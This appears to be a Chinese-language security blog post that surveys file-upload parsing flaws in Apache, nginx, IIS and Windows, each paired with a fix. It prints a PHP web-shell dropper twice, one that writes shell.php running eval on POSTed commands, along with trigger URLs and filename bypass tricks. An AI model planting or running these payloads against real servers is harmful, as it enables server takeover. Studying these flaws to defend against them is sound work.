常见文件解析漏洞总览

前言

文件解析漏洞是指由于应用程序对上传的文件类型和内容没有充分的验证和过滤,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。导致攻击者可以上传恶意文件,绕过应用程序的安全限制,执行恶意代码或者访问敏感数据的漏洞。

常见解析漏洞

apache解析漏洞

Apache解析漏洞主要是因为Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准)

例如:

dff.php.owf.rar 这个文件名 .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把 dff.php.owf.rar解析成 dff.php 。

其实漏洞的产生, 是由于运维人员在配置服务器时,为了使 apache 服务器能解析 php ,而自己添加一个handler,它的作用也是为了让 apache 把 php 文件交给 php_module 解析 , 但是注意到它与 SetHandler: 它的后缀不是用正则去匹配的。所以 ,在文件名的任何位置匹配到php后缀,它都会让php_module解析。

AddType application/x­httpd­php .php

修复:不要使用AddHandler, 改用 SetHandler, 写好正则 , 就不会有解析问题

Apache换行解析漏洞(CVE-2017-15715)

影响范围:2.4.0-2.4.29版本

原因:合法后缀配置文件中的正则表达式中$不仅匹配字符串结尾位置,还可以匹配\n或\r,在解析php时,1.php\x0A将按照.php进行解析,而’.php\x0A’ != ‘.php’,可能过滤时过滤了.php但没有过滤.php\x0A从而实现绕过。

配置文件:过滤后缀名.php

<FilesMatch \.php$>
 	SetHandler application/x-httpd-php
<FilesMatech>`>

可以看到在正则中是 \.php$, 因为结尾有个 $ 符号,结合上述原理, $ 匹配配 '\n' 或 '\r' ,所以我们修改数据包在文件名后加\n , \n 的十六进制为 0a

修复:

  1. 升级到最新版本
  2. 在httpd.conf中加入其他正则表达式。

nginx解析漏洞

nginx<8.03

由于nginx默认是用cgi解析php的(即开启fast-cgi模式),由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,对于任意文件名,在后面添加/xxx.php(xxx)为任意字符后,即可将文件作为php解析,因此和IIS一样制作图片马。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

直接访问http://xx.xx.xx.xx/1.jpg/.php

修复:

1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0

2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php

nginx 0.5,0.6, 0.7 <= 0.7.65, 0.8 <= 0.8.37

nginx遇到%00后和fastcgi解析不一致,所以可以上传一个1.jpg图片马,然后访问http://xx.xx.xx.xx/1.jpg%00.php,这样就将jpg文件当做php文件执行了。

修复:

升级nginx版本

IIS解析漏洞

IIS 5.0/6.0

在某个.asp(.php)文件名的文件夹下的任何文件都将作为asp(php)文件执行,

即假设你能控制文件目录名,可以改变文件名为.asp(.php),然后写入一个jpg图片马,访问http://xx.xx.xx.xx/1.php/1.jpg可以连接

修复:

升级IIS版本

IIS 6.0

如xx.asp;.jpg,由于IIS不解析;后面的内容,所以就将此文件当成xx.asp进行解析,可以利用,同时IIS还可以解析xx.asa xx.cer xx.cdx文件

修复:微软认为这不是一个漏洞,所以要自己修复。

  • 限制上传目录执行权限,不允许执行脚本。
  • 不允许新建目录。
  • 上传的文件经过重命名

IIS 7.x

利用条件: 在php.ini里修改cgi.cgi_pathinfo=1,在fast-cgi模式下运行

当在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

制作图片马,在当前位置下新建一个shell后门文件

Payload : <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

访问 图片后面加 /xx.php即可解析

修复:

配置cgi.fix_pathinfo(php.ini中)为0(默认情况下值为1)并重启php-cgi程序。

windows解析漏洞

  • 上传jsp%20的文件或者jsp.,windows会删除.和空格
  • 上传jsp::DATA文件,windows会不检测DATA后面的后缀名,且保留DATA之前的文件名
  • 上传不规则字符如 2.jsp:1.php ,windows会删除不规则:符号后面的内容

参考链接:Apache解析漏洞_蒙奇奇的博客-CSDN博客

Apache解析漏洞CVE-2017-15715、apache_parsing_vulnerability、CVE-2021-40438 vulhub复现分析_@Camelus的博客-CSDN博客

Nginx漏洞总结_普通网友的博客-CSDN博客

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值